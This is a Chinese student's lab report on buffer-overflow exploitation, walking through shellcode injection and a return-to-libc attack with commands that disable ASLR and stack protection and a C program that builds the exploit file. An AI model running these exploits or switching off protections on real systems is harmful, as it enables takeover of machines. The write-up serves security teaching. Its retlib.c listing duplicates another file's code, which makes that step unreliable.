---恢复内容开始---
# 20145218张晓涵 PC平台逆向破解_advanced ## shellcode注入 ### 基础知识 - shellcode就是在利用溢出攻击溢出时要值入的代码,也就是溢出后去执行的代码。 - Shellcode是指能完成特殊任务的自包含的二进制代码,根据不同的任务可能是发出一条系统调用或建立一个高权限的Shell,Shellcode也就由此得名。它的最终目的是取得目标机器的控制权,所以一般被攻击者利用系统的漏洞送入系统中执行。 - Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode,nop+shellcode+retaddr。我们采用anything+retaddr+nops+shellcode的方法。需要是找到返回地址和shellcode的地址,然后通过修改返回地址,让程序自动执行shellcode - Bof攻击防御技术root@KaliYL:~# execstack -s pwn1 //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space //查看地址随机化状态,0关闭,2开启
实践过程
-
修改设置,需要先
sudo apt-get install exestack
进行安装,安装完成后输入以下命令 -
构造要注入的payload,x01x02x03x04填写返回的地址
-
用命令
(cat input_shellcode; cat) > ./20145218
注入这段攻击并执行文件
-
打开一个新终端,查找20145218pwn1的UID,UID号为2330
-
gdb调试
-
对foo函数进行反汇编,以此找到函数的返回地址,我们要将返回地址覆盖,指向我们的shellcode代码
-
图中0x01020304的位置0xffffd32c是返回地址的位置,我们的shellcode的地址为0xffffd330
-
将返回地址修改为0xffffd330重新注入,成功
Return-to-libc 攻击实验
- 缓冲区溢出的常用攻击方法是用 shellcode 的地址来覆盖漏洞程序的返回地址,使得漏洞程序去执行存放在栈中 shellcode。为了阻止这种类型的攻击,一些操作系统使得系统管理员具有使栈不可执行的能力。这样的话,一旦程序执行存放在栈中的 shellcode 就会崩溃,从而阻止了攻击。
- 不幸的是上面的保护方式并不是完全有效的,现在存在一种缓冲区溢出的变体攻击,叫做 return-to-libc 攻击。这种攻击不需要一个栈可以执行,甚至不需要一个 shellcode。取而代之的是我们让漏洞程序调转到现存的代码(比如已经载入内存的 libc 库中的 system()函数等)来实现我们的攻击。
实践过程
-
更新软件库,
sudo apt-get update
,安装配置环境 -
将地址随机化关闭
-
把sh指向zsh
-
编写5218retlib.c,保存到/tmp目录下,编译程序并设置SET-UID,设置su以root身份执行,运用-fno-stack-protector关闭栈保护机制。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char const *argv[])
{
char *ptr;
if(argc < 3){
printf("Usage: %s <environment var> <target program name>
", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf("%s will be at %p
", argv[1], ptr);
return 0;
}
- 编写并编译getenvaddr.c,用来读取环境变量的,代码如下
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char const *argv[])
{
char *ptr;
if(argc < 3){
printf("Usage: %s <environment var> <target program name>
", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf("%s will be at %p
", argv[1], ptr);
return 0;
}
- 编写攻击程序,放到tmp目录下
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen(".//badfile", "w");
strcpy(buf, "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90");// nop 24 times
*(long *) &buf[32] =0x11111111; // 查询BIN_SH的地址后放入
*(long *) &buf[24] =0x22222222; // 查询system()的地址后放入
*(long *) &buf[36] =0x33333333; // 查询exit()的地址后放入
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
-
获取 BIN_SH 地址
-
编译攻击程序,使用gdb获取system 和 exit 的地址
-
vim进入exploit.c,将BIN_SH,system 和 exit
-
将之前编译生成的文件和运行生成的badfile文件删掉,重新编译执行
-
成功了!